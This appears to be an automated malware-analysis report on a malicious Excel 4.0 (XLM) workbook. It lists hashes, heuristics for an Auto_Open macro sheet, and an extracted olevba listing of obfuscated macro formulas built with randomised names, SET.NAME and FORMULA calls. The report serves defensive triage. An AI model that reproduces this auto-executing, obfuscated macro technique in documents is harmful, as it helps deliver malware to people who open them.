Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e1b1eb60b3bc6a6f…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:41:21 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 73affbfe51547f21945b70e0f5aff500 SHA-1: afa034dd335ebdc332e92f7920a064521696a214 SHA-256: e1b1eb60b3bc6a6f7329e3b47278e6c6da69b8e327a748a3b42db21c792c3166
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6456 bytes
SHA-256: faefe53b0e29b7106253dd7346ada905ea3fe21cc0e024c4c4a42914e59cd763
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  NAQGX
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G146 
' 0018     22 LABEL : Cell Value, String Constant - BABKxSZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - FZCeXVk len=0 
' 0018     26 LABEL : Cell Value, String Constant - jyAFehrxwMb len=0 
' 0018     21 LABEL : Cell Value, String Constant - lbwEHQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - nHWwKXly len=0 
' 0018     22 LABEL : Cell Value, String Constant - OWacVvz len=0 
' 0018     24 LABEL : Cell Value, String Constant - oxAOTxrhk len=0 
' 0018     22 LABEL : Cell Value, String Constant - pvNArDB len=0 
' 0018     20 LABEL : Cell Value, String Constant - QUNAN len=0 
' 0018     26 LABEL : Cell Value, String Constant - qyxkjtDpUxW len=0 
' 0018     27 LABEL : Cell Value, String Constant - SuezjWGaaxKY len=0 
' 0018     20 LABEL : Cell Value, String Constant - URLAE len=0 
' 0018     27 LABEL : Cell Value, String Constant - uTLRdWLyelnX len=0 
' 0018     22 LABEL : Cell Value, String Constant - VDvExYa len=0 
' 0018     27 LABEL : Cell Value, String Constant - vGatohFQpbVB len=0 
' 0018     27 LABEL : Cell Value, String Constant - VrzlslSTKHfu len=0 
' 0018     23 LABEL : Cell Value, String Constant - WAarnFXP len=0 
' 0018     22 LABEL : Cell Value, String Constant - wncqObJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - XVrCnKzErvhf len=0 
' 0018     25 LABEL : Cell Value, String Constant - yIcykqaVBl len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  NAQGX,G67,"SET.NAME("oxAOTxrhk",VALUE("0"))",""
'  NAQGX,G71,"SET.NAME("jyAFehrxwMb",oxAOTxrhk)",""
'  NAQGX,G73,"SET.NAME("vGatohFQpbVB",oxAOTxrhk)",""
'  NAQGX,G77,"SET.NAME("wncqObJ",COUNTA(nHWwKXly))",""
'  NAQGX,G81,"SET.NAME("FZCeXVk",COUNTA(OWacVvz))",""
'  NAQGX,G84,[],""
'  NAQGX,G86,"SET.NAME("VrzlslSTKHfu","")",""
'  NAQGX,G90,"jyAFehrxwMb",""
'  NAQGX,G95,"SET.NAME("yIcykqaVBl",HLOOKUP("*",nHWwKXly,jyAFehrxwMb,FALSE))",""
'  NAQGX,G97,"lbwEHQ",""
'  NAQGX,G100,"SET.NAME("qyxkjtDpUxW",oxAOTxrhk)",""
'  NAQGX,G103,[],""
'  NAQGX,G108,"qyxkjtDpUxW",""
'  NAQGX,G110,"XVrCnKzErvhf",""
'  NAQGX,G115,"VDvExYa",""
'  NAQGX,G117,"WAarnFXP",""
'  NAQGX,G119,"SET.NAME("uTLRdWLyelnX",VALUE(HLOOKUP("*",OWacVvz,WAarnFXP,FALSE)))",""
'  NAQGX,G123,"SuezjWGaaxKY",""
'  NAQGX,G126,"VrzlslSTKHfu",""
'  NAQGX,G128,"vGatohFQpbVB",""
'  NAQGX,G130,NEXT(),""
'  NAQGX,G133,"URLAE",""
'  NAQGX,G137,"SET.NAME("f",INT(T(FORMULA(T(VrzlslSTKHfu)&"",""&T(URLAE)))))",""
'  NAQGX,G139,"BABKxSZ",""
'  NAQGX,G142,NEXT(),""
'  NAQGX,G144,RETURN(),""
'  NAQGX,G171,"SET.NAME("QUNAN",G67)",""
'  NAQGX,G175,"nHWwKXly",""
'  NAQGX,G180,"SET.NAME("OWacVvz",R47C14)",""
'  NAQGX,G185,"SET.NAME("BABKxSZ",193)",""
'  NAQGX,G189,"SET.NAME("pvNArDB",7)",""
'  NAQGX,G192,QUNAN(),""
'  NAQGX,G193,HALT(),""

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